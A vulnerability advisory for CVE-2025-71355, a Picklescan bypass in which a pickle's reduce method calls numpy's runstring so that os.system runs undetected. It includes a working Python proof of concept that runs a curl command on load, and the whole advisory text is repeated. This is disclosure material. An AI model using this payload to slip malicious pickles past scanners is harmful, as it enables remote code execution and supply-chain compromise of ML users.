CVE-2025-71355

Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.

Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.

Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

• First, the attacker craft the payload by import runstring function in numpy.testing._private.utils
• Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
• Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
  def __reduce__(self):
    from numpy.testing._private.utils import runstring
    return runstring, ("import os; os.system('curl https://example.com')",{})
    
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)

def load_payload():
  result = scan_file_path('payload.pickle')
  if result.infected_files != 0 or result.scan_err:
    print('File is infected')
  else:
    print('File is clean')
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)

create_payload() 
load_payload()

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Fixes:

I suggest adding Numpy library to the unsafe globals blacklist.

Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.

Picklescan before 0.0.25 fails to detect unsafe global functions in the Numpy library, allowing attackers to bypass static analysis and execute arbitrary code during deserialization. Attackers can craft malicious pickle files using numpy.testing._private.utils.runstring within the reduce method to import dangerous libraries like os and execute arbitrary OS commands when the pickle file is loaded.

Summary

An unsafe deserialization vulnerability in Python’s pickle module allows an attacker to bypass static analysis tools like Picklescan and execute arbitrary code during deserialization. This can be exploited by import some built-in function in Numpy library that indrectly call some dangerous function like exec() to execute some python code as a parameter, which the attacker can import dangerous library inside like os library and execute arbitrary OS commands.

Details

Pickle’s deserialization process is known to allow execution of function via reduce method. While Picklescan is meant to detect such exploits, this attack evades detection by calling function in Numpy library that call dangerous function like exec(). And since Numpy library wasn't inside unsafe globals blacklist, it may not raise red flag in the security scan.

The attack payload executes in the following steps:

• First, the attacker craft the payload by import runstring function in numpy.testing._private.utils
• Then, inside reduce method, the attacker import dangerous libarary like os and calling os.system() to run OS commands, for example: curl command. And then the attacker send this malicious pickle file to the victim.
• Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

PoC

import pickle
import torch
import pickle
from picklescan.scanner import scan_file_path
class Payload:
  def __reduce__(self):
    from numpy.testing._private.utils import runstring
    return runstring, ("import os; os.system('curl https://example.com')",{})
    
def create_payload():
  with open('payload.pickle', 'wb') as f:
    pickle.dump(Payload(), f)

def load_payload():
  result = scan_file_path('payload.pickle')
  if result.infected_files != 0 or result.scan_err:
    print('File is infected')
  else:
    print('File is clean')
    with open('payload.pickle', 'rb') as f:
      pickle.load(f)

create_payload() 
load_payload()

Impact

Severity: High

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. For example, Invoke-AI repository (https://github.com/invoke-ai/InvokeAI) What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

Recommended Fixes:

I suggest adding Numpy library to the unsafe globals blacklist.